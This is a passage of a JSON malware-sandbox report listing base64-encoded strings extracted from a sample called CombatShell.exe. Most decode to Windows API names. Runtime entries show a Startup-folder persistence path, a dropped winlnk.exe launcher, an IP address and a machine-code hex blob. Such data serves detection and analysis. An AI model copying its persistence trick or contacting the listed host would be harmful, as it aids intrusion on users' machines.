Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVkcmF3V2luZG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJDbGFzc0V4Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJDbGlwYm9hcmRGb3JtYXRX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJEcmFnRHJvcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJSYXdJbnB1dERldmljZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJUb3VjaFdpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJXYWl0Rm9yU2luZ2xlT2JqZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJXaW5kb3dNZXNzYWdlQQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVsZWFzZUNhcHR1cmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVsZWFzZURD","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVtb3ZlRGlyZWN0b3J5Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVtb3ZlUHJvcFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmV2ZXJ0VG9TZWxm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmV2b2tlRHJhZ0Ryb3A=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UnRsQ2FwdHVyZUNvbnRleHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UnRsTG9va3VwRnVuY3Rpb25FbnRyeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UnRsTnRTdGF0dXNUb0Rvc0Vycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UnRsVW53aW5kRXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UnRsVmlydHVhbFVud2luZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"czJHUGFNUGFrUGFt","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"czJrbTNjbTNtbTNrbTJjbTJtbTI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5Q3JlYXRlVmVjdG9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5UHV0RWxlbWVudA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2NyZWVuVG9DbGllbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2VuZElucHV0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2VuZE1lc3NhZ2VX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q2FwdHVyZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q2xpcGJvYXJkRGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q29uc29sZUN0cmxIYW5kbGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q29uc29sZU1vZGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q29uc29sZVRleHRBdHRyaWJ1dGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q3VycmVudERpcmVjdG9yeVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q3Vyc29y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q3Vyc29yUG9z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RW52aXJvbm1lbnRWYXJpYWJsZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RXJyb3JJbmZv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZUF0dHJpYnV0ZXNX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZUNvbXBsZXRpb25Ob3RpZmljYXRpb25Nb2Rlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZVBvaW50ZXJFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZVRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Rm9yZWdyb3VuZFdpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0SGFuZGxlSW5mb3JtYXRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0TGFzdEVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0TWVudURlZmF1bHRJdGVt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0UGl4ZWxGb3JtYXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0UHJvcFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2V0c29ja29wdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGhyZWFkRXJyb3JNb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGhyZWFkU3RhY2tHdWFyYW50ZWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGltZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2FpdGFibGVUaW1lcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93RGlzcGxheUFmZmluaXR5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93TG9uZ1B0clc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93TG9uZ1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93UGxhY2VtZW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93UG9z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93VGV4dFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93VGhlbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2V0eWJkZXRIM0EoSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2hvd0N1cnNvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2hvd1dpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2h1dGRvd24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2xlZXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2xlZXBFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3Nzc3Nzc3Nzc3Nzc3Nzc2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"c3RmZmxmZmlnYWwzMQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3RyaW5nRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3dhcEJ1ZmZlcnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3dpdGNoVG9UaHJlYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3lzQWxsb2NTdHJpbmdMZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3lzRnJlZVN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3lzU3RyaW5nTGVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtRnVuY3Rpb24wMzY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtUGFyYW1ldGVyc0luZm9B","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VCQoSDlQaHc+SA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VCQoSDlQaHc/","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VCQwSGtEJFAwSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VCRYSDtEJFB0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VGVybWluYXRlUHJvY2Vzcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VGxzQWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VGxzRnJlZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VGxzR2V0VmFsdWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VGxzU2V0VmFsdWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VG9Vbmljb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VG9Vbmljb2RlRXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VHJhY2tNb3VzZUV2ZW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VHJhY2tQb3B1cE1lbnU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VHJhbnNsYXRlTWVzc2FnZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VHJhbnNsYXRpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"dWVzcGVtb3NIM0EgSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VWlhR2V0UmVzZXJ2ZWROb3RTdXBwb3J0ZWRWYWx1ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VWlhSG9zdFByb3ZpZGVyRnJvbUh3bmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VWlhTG9va3VwSWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VWlhUmFpc2VBdXRvbWF0aW9uRXZlbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VWlhUmFpc2VBdXRvbWF0aW9uUHJvcGVydHlDaGFuZ2VkRXZlbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VWlhUmV0dXJuUmF3RWxlbWVudFByb3ZpZGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VW5sb2NrRmlsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VW5tYXBWaWV3T2ZGaWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VW5yZWdpc3RlcldhaXRFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VVVVVVVVVVVIIQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VmFsaWRhdGVSZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VmFyRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VmlydHVhbFByb3RlY3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VmlydHVhbFF1ZXJ5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"dm52Z3BhbXBha3BhdGh6Z2h6bWh6a2h6","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VlNfVkVSU0lPTl9JTkZP","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2FpdEZvck11bHRpcGxlT2JqZWN0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2FpdEZvclNpbmdsZU9iamVjdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2FpdE9uQWRkcmVzcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2FrZUJ5QWRkcmVzc0FsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2FrZUJ5QWRkcmVzc1NpbmdsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"d2dsQ3JlYXRlQ29udGV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"d2dsRGVsZXRlQ29udGV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"d2dsR2V0Q3VycmVudENvbnRleHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"d2dsR2V0Q3VycmVudERD","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"d2dsR2V0UHJvY0FkZHJlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"d2dsTWFrZUN1cnJlbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"d2dsU2hhcmVMaXN0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2lkZUNoYXJUb011bHRpQnl0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V3JpdGVDb25zb2xlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V3JpdGVGaWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V3JpdGVGaWxlRXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBQ2xlYW51cA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBRHVwbGljYXRlU29ja2V0Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBR2V0TGFzdEVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBSW9jdGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBUmVjdg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBUmVjdkZyb20=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBU2VuZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBU2VuZE1zZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBU2VuZFRv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBU29ja2V0Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBU3RhcnR1cA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"eXl5eWdnZ2dnZ2dnZ3V1dXV1dXV1dXV1dXV1dXVnZ2d1dXV1dXV1fX19fX19fX19fX19fX19fWdnfX19fX19fX16enp6enp6enp6enp6enp6Z2dnZ2d6enp6enp6ent7e3t7e3t7e3t7e3t7e3tnZ2dnZ2dne3t7e2dnZ2dnZ2dnZ3t7e3t7e3tYWFhYWFhYWFhYWFhYWFhYZ2dnZ2dnZ0xMTExMTExMTExMTExMTExnZ2dnZ2dnZ2dnZ2dnTExMZ2dnZ2dnZ0xMTExMTA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"eXl5eXl5eXl5eXl5eXl5eWdnZ2d5eXl5eQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"fDA8SFRgbHg=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null}]},{"name":"winlnk.exe:648","strings":[{"value":"IiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcbWNyLmxua2si","type":"Ansi","source":"Process Commandline","process":"winlnk.exe","filename":"winlnk.exe","compromised":null,"detection_total":null,"total":null}]},{"name":"CombatShell.exe:5644","strings":[{"value":"IiVBUFBEQVRBJVx3aW5sbmsuZXhlIiAiJTEi","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MDVmOTVlZmUtN2Y3NS00OWM3LWE5OTQtNjBhNTVjYzA5NTcx","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MDcyNjY1ZmItODk1My01YTg1LTkzMWQtZDA2YWVhYjNkMTA5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MWFmZjYwODktZTg2My00ZDM2LWJkZmQtMzU4MWYwNzQ0MGJl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MzAzMzZlZDQtZTMyNy00NDdjLTlkZTAtNTFiNjUyYzg2MTA4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MzI5ODBmMjYtYzhmNS01NzY3LTZiMjYtNjM1YjNmYTgzYzYx","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"M2JlMzE4MTItNTUyMy01MjM5LTVmYzYtNTM0ZjhlNTU4ZjQw","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"M2M0MzBiMGEtMzk3YS00ZTFkLTlhODMtOWMzODg0MDVjMDBj","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"M2M3NGFmYjktOGQ4Mi00NGUzLWI1MmMtMzY1ZGJmNDgzODJh","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"M2YzMDUyMmUtZDQ3YS00MDdjLTkwNjctMmU5MjhkMDBkNTRl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NDk2YjNjMTktOWRjYS01MWE1LTE4N2MtNWM3NDY3ODVmZTRl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NTA0NjY1YTItMzFmNy00YjJmLWJmMWItOTYzNTMxMmU4MDg4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NTFjNTEzOTctNDNjNC01Yzg2LTY0NWMtYWNiZDViMmUxMDM4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NTU1NjQ4ODNFQzI4NDg4RDZDMjQyMDQ4OEIwMTgxMzhGRDAwMDBDMDBGODU4QjAwMDAwMDhCMERBMDQ5QkMwMjg1Qzk3NDJERkZDOUU4QzU2QzA1MDA0ODgzRjgwMjc2Mzk0ODhCNDgwODQ4ODVDOTc0MDk0ODhCNTAxMDQ4RkZDQUVCNUQ0ODhCMTUwNjQ5QkMwMjMxQzk0ODM5MTBFQjNCNDg4RDBENTA0OUJDMDJFODAzRUEwMDAwODlDMUU4OEM2QzA1MDA0ODgzRjgwMjc3Qzc0ODhCMzVERjQ4QkMwMjQ4ODVGNjc0Mjg4QjBEMjQ0OUJDMDI4NUM5NzQyRUZGQzk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NTdhNmVkMWEtNzlmNy01MDExLWIyNDItNDc4NGU1NjIwY2Y3","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NjQuMTI0LjEyLjE2Mg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NjczY2Y4MDAtMjA4YS01MzI3LTNmNGItMmJlNDRhNjY2Mjdh","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NmNhNTJhOTAtNDJhMC01ODA4LWViYmYtYTE3OWMyYTM4ZjMz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NzAzZmNjMTMtYjY2Zi01ODY4LWRkZDktZTJkYjdmMzgxZmZi","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"N2MyOTcwOWQtM2MwMi00N2ZiLThhMzktZDgyODc1MjJmYWRi","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ODEyN2Y2ZDQtNTlmOS00YWJmLTg5NTItM2UzYTAyMDczZDVm","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XERldmljZVxIYXJkZGlza1ZvbHVtZTNcV2luZG93c1xTeXN0ZW0zMlxjb25ob3N0LmV4ZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"X19kZXJlZ2lzdGVyX2ZyYW1l","type":"Ansi","source":"Runtime 